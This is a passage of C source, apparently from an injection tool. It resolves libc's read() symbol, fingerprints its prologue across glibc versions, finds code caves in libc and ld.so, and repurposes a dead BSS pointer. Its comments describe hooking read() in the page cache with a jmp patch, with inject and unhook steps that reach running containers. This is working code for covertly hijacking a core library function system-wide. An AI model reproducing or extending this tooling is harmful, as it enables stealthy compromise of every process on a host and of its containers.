(unsigned long)L->text_va, (unsigned long)L->text_size,
(unsigned long)L->text_foff);
if (have_hash) {
printf(" .hash VA 0x%lx size 0x%lx file+0x%lx (dead-data cave)\n",
(unsigned long)L->hash_va, (unsigned long)L->hash_size,
(unsigned long)L->hash_foff);
} else {
printf(" .hash (absent -- will fall back to .eh_frame_hdr)\n");
}
if (have_eh_hdr) {
printf(" .eh_frame_hdr VA 0x%lx size 0x%lx file+0x%lx\n",
(unsigned long)L->eh_hdr_va,
(unsigned long)L->eh_hdr_size,
(unsigned long)L->eh_hdr_foff);
}
printf(" .bss VA 0x%lx size 0x%lx\n",
(unsigned long)L->bss_va, (unsigned long)L->bss_size);
}
/* -- 5. Symbol resolution (like ld.so) ------------------- */
Elf64_Sym sym;
/* read() -- hook target */
if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
"read", &sym) < 0) {
fprintf(stderr, "[!] Symbol 'read' not found in .dynsym\n");
return -1;
}
if (ELF64_ST_TYPE(sym.st_info) == STT_GNU_IFUNC) {
fprintf(stderr, "[!] read() is GNU_IFUNC -- not supported\n");
return -1;
}
L->read_va = sym.st_value;
/* Verify read_va is within .text */
if (L->read_va < L->text_va ||
L->read_va >= L->text_va + L->text_size) {
fprintf(stderr, "[!] read() VA 0x%lx outside .text [0x%lx..0x%lx)\n",
(unsigned long)L->read_va,
(unsigned long)L->text_va,
(unsigned long)(L->text_va + L->text_size));
return -1;
}
L->read_foff = L->text_foff + (L->read_va - L->text_va);
/* __libc_single_threaded -- try .dynsym first */
int have_st_sym = 0;
if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
"__libc_single_threaded", &sym) == 0) {
L->single_thr_va = sym.st_value;
have_st_sym = 1;
}
/* Dead Secure-RPC pointer -- hijacked as per-process inode key cache */
int have_bss_key_sym = 0;
if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
"__key_encryptsession_pk_LOCAL", &sym) == 0) {
L->bss_key_va = sym.st_value;
have_bss_key_sym = 1;
}
if (verbose) {
printf("\n[*] Symbols (resolved from .dynsym):\n");
printf(" read = 0x%lx\n", (unsigned long)L->read_va);
if (have_st_sym)
printf(" __libc_single_threaded = 0x%lx\n",
(unsigned long)L->single_thr_va);
if (have_bss_key_sym)
printf(" __key_encrypt...LOCAL = 0x%lx (bss key)\n",
(unsigned long)L->bss_key_va);
}
/* Verify read() prologue: original cmpb or already-hooked jmp */
uint8_t prologue[12];
if (pread_full(fd, prologue, 12, L->read_foff) < 0) {
fprintf(stderr, "[!] Failed to read read() prologue\n");
return -1;
}
/* Detect endbr64 prefix (f3 0f 1e fa) -- CET-enabled libc */
int cmp_off = 0; /* offset of cmpb within prologue */
if (prologue[0] == 0xf3 && prologue[1] == 0x0f &&
prologue[2] == 0x1e && prologue[3] == 0xfa) {
cmp_off = 4;
L->read_has_endbr = 1;
L->read_hook_len = 11;
} else {
L->read_has_endbr = 0;
L->read_hook_len = 7;
}
if (prologue[cmp_off] == 0x80 && prologue[cmp_off+1] == 0x3d &&
prologue[cmp_off+6] == 0x00) {
/* PROLOGUE_OLD_CMPB -- extract __libc_single_threaded */
L->prologue_kind = PROLOGUE_OLD_CMPB;
int32_t st_disp;
memcpy(&st_disp, &prologue[cmp_off+2], 4);
/* RIP for this cmp = read_va + cmp_off + 7 (instruction length) */
uint64_t st_from_prologue = L->read_va + cmp_off + 7 + (int64_t)st_disp;
if (have_st_sym) {
if (L->single_thr_va != st_from_prologue) {
fprintf(stderr, "[!] __libc_single_threaded mismatch: "
"symbol=0x%lx prologue=0x%lx\n",
(unsigned long)L->single_thr_va,
(unsigned long)st_from_prologue);
return -1;
}
} else {
L->single_thr_va = st_from_prologue;
if (verbose)
printf(" __libc_single_threaded = 0x%lx (from prologue)\n",
(unsigned long)L->single_thr_va);
}
if (verbose) {
printf(" read() prologue: cmpb%s (cmpb $0x0, 0x%lx(%%rip))\n",
L->read_has_endbr ? " [endbr64]" : "",
(unsigned long)L->single_thr_va);
printf(" hook length: %d bytes, return to read()+%d\n",
L->read_hook_len, L->read_hook_len);
}
} else if (prologue[cmp_off] == 0x55 /* push rbp */
&& prologue[cmp_off+1] == 0x48 /* movsxd rdi, edi (REX.W) */
&& prologue[cmp_off+2] == 0x63
&& prologue[cmp_off+3] == 0xff
&& prologue[cmp_off+4] == 0x45 /* xor r9d, r9d (REX.R+B) */
&& prologue[cmp_off+5] == 0x31
&& prologue[cmp_off+6] == 0xc9) {
/* PROLOGUE_GLIBC243_PUSH_RBP -- arch's libc 2.43.
* Same 7-byte length as the OLD cmpb, so zone_c.asm's fast_path
* slot is reused as-is; patch_zone_c overlays the emulation
* bytes at inject time and skips the R5 (single_thr) reloc. */
L->prologue_kind = PROLOGUE_GLIBC243_PUSH_RBP;
L->single_thr_va = 0; /* unused for this prologue kind */
if (verbose) {
printf(" read() prologue: push rbp%s "
"(glibc 2.43-style; emulating push+movsxd+xor)\n",
L->read_has_endbr ? " [endbr64]" : "");
printf(" hook length: %d bytes, return to read()+%d\n",
L->read_hook_len, L->read_hook_len);
}
} else if (prologue[cmp_off] == 0x64 /* FS segment override */
&& prologue[cmp_off+1] == 0x8b /* MOV r32, r/m32 */
&& prologue[cmp_off+2] == 0x04 /* ModR/M (mod=00, rm=4) */
&& prologue[cmp_off+3] == 0x25 /* SIB ([disp32]) */) {
/* PROLOGUE_TLS_FS - glibc 2.31 / 2.35.
* mov eax, fs:[disp32] 8 bytes total (prefix+opcode+ModR/M+SIB+disp32)
* The instruction is 8 bytes -- fills our 13-byte fast_path
* emulation slot completely (zone_c.asm's NOP filler at slot
* byte 7 gets overwritten with the 8th mov byte). The disp32
* is absolute within %fs (TLS), NOT RIP-relative, so the
* displaced bytes can be byte-copied verbatim into fast_path.
*
* Hook length grows by 1 because we must displace ALL 8 bytes
* of the mov: 8 (no endbr) or 12 (with endbr). */
L->prologue_kind = PROLOGUE_TLS_FS;
L->single_thr_va = 0;
L->read_hook_len = L->read_has_endbr ? 12 : 8;
memcpy(L->tls_mov_bytes, &prologue[cmp_off], 8);
if (verbose) {
printf(" read() prologue: mov fs:[0x%02x%02x%02x%02x]%s "
"(glibc 2.31/2.35-style TLS check; emulating 8-byte mov)\n",
prologue[cmp_off+7], prologue[cmp_off+6],
prologue[cmp_off+5], prologue[cmp_off+4],
L->read_has_endbr ? " [endbr64]" : "");
printf(" hook length: %d bytes, return to read()+%d\n",
L->read_hook_len, L->read_hook_len);
}
} else if (prologue[0] == 0xE9 &&
prologue[5] == 0x90 && prologue[6] == 0x90) {
/* Already hooked -- detect 7- vs 11-byte hook.
* NOTE: we cannot tell the original prologue kind from a
* hooked state (the bytes are gone). Default to OLD; if the
* libc was actually arch's NEW prologue, the unhook restore
* will write the wrong bytes back. Cleanest workaround: avoid
* this case by always running inject + unhook in the same
* page_inject session. Stop containers + drop_caches if the
* page cache is stuck in a hooked state. */
if (prologue[7] == 0x90) {
L->read_has_endbr = 1;
L->read_hook_len = 11;
} else {
L->read_has_endbr = 0;
L->read_hook_len = 7;
}
L->prologue_kind = PROLOGUE_OLD_CMPB;
if (!have_st_sym) {
fprintf(stderr, "[!] Hook already active but "
"__libc_single_threaded not in .dynsym\n");
return -1;
}
if (verbose)
printf(" read() prologue: already hooked (%d-byte, jmp+nops; "
"assuming OLD prologue for restore)\n",
L->read_hook_len);
} else {
fprintf(stderr, "[!] Unexpected read() prologue: "
"%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n",
prologue[0], prologue[1], prologue[2], prologue[3],
prologue[4], prologue[5], prologue[6], prologue[7],
prologue[8], prologue[9], prologue[10]);
fprintf(stderr, " Recognised patterns:\n");
fprintf(stderr, " [f3 0f 1e fa] 80 3d XX XX XX XX 00 "
"(cmpb $0x0, mem(%%rip) -- glibc 2.36/2.39)\n");
fprintf(stderr, " [f3 0f 1e fa] 55 48 63 ff 45 31 c9 "
"(push rbp + movsxd + xor -- glibc 2.43)\n");
fprintf(stderr, " [f3 0f 1e fa] 64 8b 04 25 18 00 00 00 "
"(mov eax, fs:[0x18] -- glibc 2.31/2.35)\n");
return -1;
}
/* Code cave = inter-segment gap between exec and ro LOAD segments */
if (ehdr.e_phoff == 0 || ehdr.e_phnum == 0) {
fprintf(stderr, "[!] No program headers\n");
return -1;
}
size_t ph_total = (size_t)ehdr.e_phnum * ehdr.e_phentsize;
Elf64_Phdr *phdrs = malloc(ph_total);
if (!phdrs) return -1;
if (pread_full(fd, phdrs, ph_total, ehdr.e_phoff) < 0) {
fprintf(stderr, "[!] Failed to read program headers\n");
free(phdrs);
return -1;
}
/* Find the executable (R E) and first read-only (R) LOAD segments */
int have_exec = 0, have_ro = 0;
uint64_t exec_off = 0, exec_va = 0, exec_fsz = 0;
uint64_t ro_off = 0, ro_va = 0;
for (int i = 0; i < ehdr.e_phnum; i++) {
if (phdrs[i].p_type != PT_LOAD) continue;
uint32_t f = phdrs[i].p_flags;
if ((f & PF_X) && (f & PF_R) && !have_exec) {
exec_off = phdrs[i].p_offset;
exec_va = phdrs[i].p_vaddr;
exec_fsz = phdrs[i].p_filesz;
have_exec = 1;
} else if ((f & PF_R) && !(f & PF_X) && !(f & PF_W) && !have_ro) {
/* First R-only LOAD after the exec segment */
if (have_exec && phdrs[i].p_offset > exec_off) {
ro_off = phdrs[i].p_offset;
ro_va = phdrs[i].p_vaddr;
have_ro = 1;
}
}
}
free(phdrs);
if (!have_exec || !have_ro) {
fprintf(stderr, "[!] Could not find exec / read-only LOAD segments\n");
return -1;
}
if (verbose) {
printf("\n[*] LOAD segments:\n");
printf(" exec (R E) off 0x%lx va 0x%lx filesz 0x%lx\n",
(unsigned long)exec_off, (unsigned long)exec_va,
(unsigned long)exec_fsz);
printf(" ro (R) off 0x%lx va 0x%lx\n",
(unsigned long)ro_off, (unsigned long)ro_va);
}
uint64_t gap_foff = exec_off + exec_fsz;
uint64_t gap_size = ro_off - gap_foff;
if (verbose)
printf(" gap off 0x%lx size %lu bytes\n",
(unsigned long)gap_foff, (unsigned long)gap_size);
/* -- Probe ld.so layout & GOT anchor (path-B inputs) -----
*
* We run this BEFORE the libc cave check so the discovered
* values are available to decide_inject_path() regardless of
* whether libc's own cave is large enough. Failures here are
* non-fatal: they just mean path B is unavailable. If path A
* also can't fit, decide_inject_path() will refuse cleanly.
*/
int ld_rc = discover_ld_layout(libc_path, fd, L);
if (verbose) {
if (ld_rc == 0) {
printf("\n[*] ld.so layout (path-B candidate):\n");
printf(" path %s\n", L->ld.path);
printf(" .text VA 0x%lx file+0x%lx size 0x%lx\n",
(unsigned long)L->ld.text_va,
(unsigned long)L->ld.text_foff,
(unsigned long)L->ld.text_size);
printf(" cave VA 0x%lx file+0x%lx size %lu bytes\n",
(unsigned long)L->ld.cave_va,